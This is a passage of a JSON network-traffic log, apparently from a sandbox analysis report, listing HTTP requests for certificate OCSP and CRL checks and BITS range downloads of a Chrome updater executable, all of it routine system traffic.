        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBReAhtobFzTvhaRmVeJ38QUchY9AwQUu69%2BAj36pvE8hI6t7jiY7NkyMtQCEDaCXn%2B1pIGTfvbRc2u5PKY%3D HTTP/1.1\r\nCache-Control: max-age = 94804\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.comodoca.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.pki.goog",
        "version": "1.1",
        "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D",
        "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEEpXWRnDaZSEY67E8B6coDU%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAwVvkoVuwkDyQGx1sJlMC8%3D HTTP/1.1\r\nCache-Control: max-age = 108232\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Mar 2019 23:50:01 GMT\r\nIf-None-Match: \"5c9574a9-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "www.download.windowsupdate.com",
        "version": "1.1",
        "path": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
        "data": "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Fri, 22 Feb 2019 16:53:13 GMT\r\nIf-None-Match: \"80e22c19cfcad41:0\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: www.download.windowsupdate.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "crl.microsoft.com",
        "version": "1.1",
        "path": "/pki/crl/products/MicCodSigPCA_08-31-2010.crl",
        "data": "GET /pki/crl/products/MicCodSigPCA_08-31-2010.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 14 Feb 2019 06:01:18 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEA8sEMlbBsCTf7jUSfg%2BhWk%3D HTTP/1.1\r\nCache-Control: max-age = 93156\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Mar 2019 04:40:45 GMT\r\nIf-None-Match: \"5c8c7e4d-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBT3xL4LQLXDRDM9P665TW442vrsUQQUReuir%2FSSy4IxLVGLp6chnfNtyA8CEAQJGBtf1btmdVNDtW%2BVUAg%3D HTTP/1.1\r\nCache-Control: max-age = 149079\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:10:47 GMT\r\nIf-None-Match: \"5c961437-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom%2FnYB45SPUEwQU5Z1ZMIJHWMys%2BghUNoZ7OrUETfACEAiIzVJfGSRETRSlgpHeuVI%3D HTTP/1.1\r\nCache-Control: max-age = 148251\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 16 Mar 2019 18:10:24 GMT\r\nIf-None-Match: \"5c8d3c10-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.pki.goog",
        "version": "1.1",
        "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D",
        "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEH4PjD8bD0NfJXpoX0ln6s4%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.pki.goog",
        "version": "1.1",
        "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D",
        "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHQnb7Tt0tUhlRVnnq4nPN8%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSnR4FoxLLkI7vkvsUIFlZt%2BlGH3gQUWsS5eyoKo6XqcQPAYPkt9mV1DlgCEAM%2B1e2gZdG4yR38%2BSpsm9g%3D HTTP/1.1\r\nCache-Control: max-age = 126990\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 10:41:16 GMT\r\nIf-None-Match: \"5c960d4c-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.pki.goog/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.pki.goog",
        "version": "1.1",
        "path": "/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D",
        "data": "GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEHAHFVlJElKyLEMbtWWDIbo%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=194727-335708\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.thawte.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD%2Fyl6nWPkczAQUe1tFz6%2FOy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS%2BzcBkvzl4%3D HTTP/1.1\r\nCache-Control: max-age = 320712\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Wed, 20 Mar 2019 11:42:01 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.thawte.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.usertrust.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.usertrust.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCECdm7lbrSfOOq9dwovyE3iI%3D HTTP/1.1\r\nCache-Control: max-age = 94765\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Mon, 11 Mar 2019 04:19:13 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.usertrust.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://th.symcd.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "th.symcd.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9%2BWQCtWAQU1A1lP3q9NMb%2BR%2BdMDcC98t4Vq3ECEBT4%2FdFn%2BSQCsVcLXcSVyBU%3D HTTP/1.1\r\nCache-Control: max-age = 386377\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 21 Mar 2019 05:58:32 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: th.symcd.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D HTTP/1.1\r\nCache-Control: max-age = 142986\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 07:40:28 GMT\r\nIf-None-Match: \"5cece5ec-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D HTTP/1.1\r\nCache-Control: max-age = 161796\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 13:00:33 GMT\r\nIf-None-Match: \"5ced30f1-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.pki.goog",
        "version": "1.1",
        "path": "/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
        "data": "GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "crl.microsoft.com",
        "version": "1.1",
        "path": "/pki/crl/products/microsoftrootcert.crl",
        "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=335709-654607\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=654608-1378584\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=1378585-2673692\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
        "path": "/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "data": "GET /edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 21 May 2019 04:56:27 GMT\r\nRange: bytes=2673693-5566921\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r13---sn-bvvbax-2ime.gvt1.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://r13---sn-bvvbax-2ime.gvt1.com/edgedl/release2/chrome/ANcTHgjx95-y_74.0.3729.169/74.0.3729.169_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=70.162.191.80&mm=28&mn=sn-bvvbax-2ime&ms=nvh&mt=1560390798&mv=m&nh=EAE&pl=16&shardbypass=yes",
        "user-agent": "Microsoft BITS/7.5",
        "method": "GET",
        "host": "r13---sn-bvvbax-2ime.gvt1.com",
        "version": "1.1",
